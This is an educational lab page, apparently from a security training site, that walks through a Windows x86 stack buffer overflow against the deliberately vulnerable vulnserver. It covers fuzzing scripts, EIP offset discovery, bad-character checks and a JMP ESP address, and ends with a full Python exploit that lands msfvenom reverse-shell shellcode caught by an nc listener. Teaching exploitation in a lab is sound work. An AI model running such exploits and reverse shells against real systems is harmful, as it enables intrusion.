Courses3 levels
Level 1 · Foundations11 courses
Level 2 · Core5 courses
Level 3 · Advanced5 courses
Labs8 topics
Library Practice exams AI Range Pricing Start free

Practice library / Exploit development and reversing

Lab · Hard · 3 hoursFree account

Windows Stack Buffer Overflows (x86)

Full 32-bit Windows stack overflow with mona.py and custom shellcode.

  • buffer-overflow
  • windows
  • x86
  • mona
  • shellcode
On this page 4 sections
  1. ·Lab Setup
  2. ·Build the target
  3. Locked: Defence and Detection
  4. Locked: Check Your Work

Before you start

A stack buffer overflow on 32-bit Windows is the classic path from a crash to a shell. Legacy Windows services on ICS devices and old desktop apps still ship with vulnerable string handlers, and the same pattern still earns bug bounties on modern targets. The exercise fuzzes a vulnerable service until EIP is under control, finds a reliable JMP ESP trampoline, and lands msfvenom shellcode for a reverse shell.

What You'll Learn

  • Fuzz a network service until it crashes and read that crash in a debugger.
  • Prove you control EIP, the register that decides what runs next.
  • Find the exact byte offset to EIP with a de Bruijn pattern.
  • Detect and remove bad characters that would corrupt your payload.
  • Redirect execution to your buffer using a JMP ESP trampoline.
  • Generate working shellcode with msfvenom and catch a reverse shell.

Lab Setup

Everything below runs on two machines that you build and own: a Windows victim VM and a Kali attacker VM, networked together.

Victim (Windows)

  • Windows 10 x64 lab VM, firewall off on the lab NIC.
  • vulnserver.exe by Stephen Bradshaw, listening on TCP 9999. Launch it and leave it running.
  • essfunc.dll ships beside vulnserver.exe. It has no ASLR, which makes it a stable trampoline source.
  • Immunity Debugger with mona.py installed.

Attacker (Kali)

  • Kali Linux 2025.x.
  • msfvenom and the msf-pattern_create / msf-pattern_offset wrappers (Metasploit Framework 6.x).
  • netcat (the nc from the netcat-traditional package).
  • Python 3 for the fuzzer and exploit.

Build the target

KaliRange hosts no targets, no virtual machines and no lab network. You build and run both machines yourself. The addresses below (victim 192.168.1.20, attacker 192.168.1.10) are the example addresses this lab's commands and output use; replace them with the addresses of your own VMs.

HostRole
Victim, 192.168.1.20Windows 10 x64, firewall off on its NIC, running vulnserver.exe on TCP 9999 with Immunity Debugger attached
Attacker, 192.168.1.10Kali Linux 2025.x, used as LHOST for the reverse shell in Step 5

The victim needs vulnserver.exe (a deliberately vulnerable TCP server published by Stephen Bradshaw for exactly this kind of practice) with its companion essfunc.dll, and default Windows 10 settings: DEP left at OptIn and no /DYNAMICBASE rebuild of essfunc.dll, so it keeps an executable stack and a fixed load address. Build this from free, legal parts: install a Windows 10 virtual machine on your own computer (a 90-day evaluation ISO or your own licensed copy), then install vulnserver.exe and Immunity Debugger with mona.py on it. Take a snapshot of the victim VM before Step 1, so you can go back to a clean crash-free state.

Buffer overflow exploitation against systems you do not own is a crime. vulnserver exists only to be attacked in a lab. Run it on your own isolated VM, never on a shared host or a production network.

This classic attack works on Windows 10 because DEP is set to OptIn by default, so third-party apps like vulnserver keep an executable stack, and essfunc.dll was built without ASLR. Turning on DEP (OptOut) and ASLR breaks the exploit. That is the whole point of the Defence section.

1

Fuzz the service until it crashes

You cannot exploit a crash you have not found. Fuzzing sends growing inputs until the service dies, which tells you roughly how many bytes it takes to smash the stack.

First connect by hand to see the commands the server exposes:

nc -nv 192.168.1.20 9999
(UNKNOWN) [192.168.1.20] 9999 (?) open
Welcome to Vulnerable Server! Enter HELP for help.
HELP
Valid Commands:
...
TRUN [command]
...

Attach vulnserver.exe in Immunity Debugger (File > Attach) and press F9 to run it. Now fuzz the TRUN command from Kali with a short Python script:

#!/usr/bin/env python3
import socket, time, sys

ip, port = "192.168.1.20", 9999
buf = b"A" * 100

while True:
    try:
        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        s.connect((ip, port))
        s.recv(1024)
        print(f"Fuzzing with {len(buf)} bytes")
        s.send(b"TRUN /.:/" + buf + b"\r\n")
        s.recv(1024)
        s.close()
        buf += b"A" * 100
        time.sleep(1)
    except:
        print(f"Crashed at {len(buf)} bytes")
        sys.exit(0)
python3 fuzz.py

Example output:

Fuzzing with 100 bytes
Fuzzing with 200 bytes
...
Fuzzing with 2100 bytes
Crashed at 2200 bytes

What to notice: the script stops when the connection breaks, near 2100–2200 bytes. In Immunity, the program has paused on an access violation and the EIP register reads 41414141. 41 is the hex for A. Your A's landed in EIP, which means the return address was overwritten.

spike and boofuzz are purpose-built fuzzers and scale far better. The short Python loop is clearer for a first overflow, so start here, then graduate to a real fuzzer for messier targets.

2

Find the exact offset to EIP

Knowing it crashes near 2200 bytes is not precise enough. You need the exact distance to the 4 bytes that land in EIP. A non-repeating pattern lets you read that offset straight out of the register.

Generate the pattern on Kali:

msf-pattern_create -l 3000
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2...

Restart vulnserver in Immunity (press the restart button, then F9). Send the pattern in place of the A's:

#!/usr/bin/env python3
import socket
pattern = b"Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1..."   # full output of msf-pattern_create
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.20", 9999))
s.recv(1024)
s.send(b"TRUN /.:/" + pattern + b"\r\n")
s.close()

Read the EIP value shown in Immunity after the crash (for example 386F4337), then ask Metasploit where it is:

msf-pattern_offset -l 3000 -q 386F4337
[*] Exact match at offset 2003

What to notice: the offset to EIP is 2003. Verify it. Send 2003 A's, then four B's, then C's:

payload = b"A" * 2003 + b"B" * 4 + b"C" * 500
s.send(b"TRUN /.:/" + payload + b"\r\n")

After the crash, EIP reads 42424242 (BBBB). Exact control confirmed. ESP points at your C's.

3

Find the bad characters

The service mangles or drops some byte values. If your shellcode or your JMP address contains one, the exploit fails in confusing ways. You find them before trusting any address or payload.

Send every byte from \x01 to \xff straight after the EIP overwrite:

#!/usr/bin/env python3
import socket
badchars = bytes(range(1, 256))          # \x01 .. \xff (\x00 already assumed bad)
payload  = b"A" * 2003 + b"BBBB" + badchars
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect(("192.168.1.20", 9999))
s.recv(1024)
s.send(b"TRUN /.:/" + payload + b"\r\n")
s.close()

In Immunity's command bar, make a clean reference set and compare it to what reached memory at ESP:

!mona bytearray -b "\x00"
!mona compare -f C:\mona\vulnserver\bytearray.bin -a <ESP address from the registers>

Example compare result:

[+] Comparing with memory at location : 0x00af1958 (Stack)
    !!! Hooray, normal shellcode unmodified !!!

What to notice: "unmodified" means only \x00 is bad for TRUN. If mona listed a byte where memory differed from the file, you would add it to the -b list, regenerate the bytearray, and resend until the comparison is clean. Carry the full bad-char list (\x00) into every later step.

\x00 (null) is a bad character almost everywhere because it terminates strings. Never skip bad-char discovery. A single missed byte silently corrupts your payload and wastes hours.

4

Find a JMP ESP trampoline

ESP points at your buffer, but the exact stack address changes between runs. Instead of hardcoding a stack address, you overwrite EIP with the address of a JMP ESP instruction in a fixed module. Execution jumps to ESP, which is your code.

In Immunity's command bar, ask mona for a JMP ESP that avoids your bad characters:

!mona jmp -r esp -cpb "\x00"

Example result:

0x625011af : jmp esp | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False

What to notice:

  • The address is 0x625011AF, inside essfunc.dll.
  • ASLR: False and Rebase: False mean the module loads at the same address every time, so the address is reliable. A module with ASLR: True would be useless here.
  • The address bytes are 62 50 11 AF, and none is 00, so it passes the bad-char filter.

Write it into EIP in little-endian order (reversed): 0x625011AF becomes \xaf\x11\x50\x62.

5

Generate shellcode and catch the shell

The final payload is: 2003 filler bytes, the JMP ESP address in EIP, a short NOP sled, then shellcode. The NOP sled gives the decoder room to unpack. msfvenom builds shellcode that avoids your bad characters.

Generate a reverse shell on Kali (use your Kali IP for LHOST):

msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.10 LPORT=4444 \
  EXITFUNC=thread -b "\x00" -f python -v shellcode
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
Payload size: 351 bytes
shellcode =  b""
shellcode += b"\xbf\xa1\x9c\x7e\x1d\xdb\xc1\xd9\x74\x24\xf4\x5a..."

Build the full exploit. Paste your real msfvenom output over the truncated shellcode below:

#!/usr/bin/env python3
import socket

ip, port = "192.168.1.20", 9999

prefix = b"TRUN /.:/"
offset = b"A" * 2003
eip    = b"\xaf\x11\x50\x62"     # 0x625011AF  JMP ESP in essfunc.dll
nops   = b"\x90" * 16

shellcode =  b""
shellcode += b"\xbf\xa1\x9c\x7e\x1d\xdb\xc1\xd9\x74\x24\xf4\x5a"
# ... paste the full msfvenom 'shellcode' block here ...

payload = prefix + offset + eip + nops + shellcode

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
print(s.recv(1024).decode(errors="ignore"))
s.send(payload + b"\r\n")
s.close()
print("[+] Payload sent")

Start a listener on Kali, restart vulnserver in Immunity and press F9, then fire the exploit:

nc -nvlp 4444      # terminal 1: listener
python3 exploit.py # terminal 2: send payload

Example listener output:

listening on [any] 4444 ...
connect to [192.168.1.10] from (UNKNOWN) [192.168.1.20] 49512
Microsoft Windows [Version 10.0.19045.3693]
(c) Microsoft Corporation. All rights reserved.

C:\Users\lab\Desktop\vulnserver>whoami
desktop-lab\lab

What to notice: the listener received a connection back from the victim and handed you a cmd.exe prompt. whoami runs on the Windows box. You went from a crash to code execution. If no shell lands, re-check the EIP bytes order, the NOP sled, and that -b "\x00" matched your bad-char list.

Sign in to continue

2 more sections are for signed-in members. It is free: sign in with Google.

Related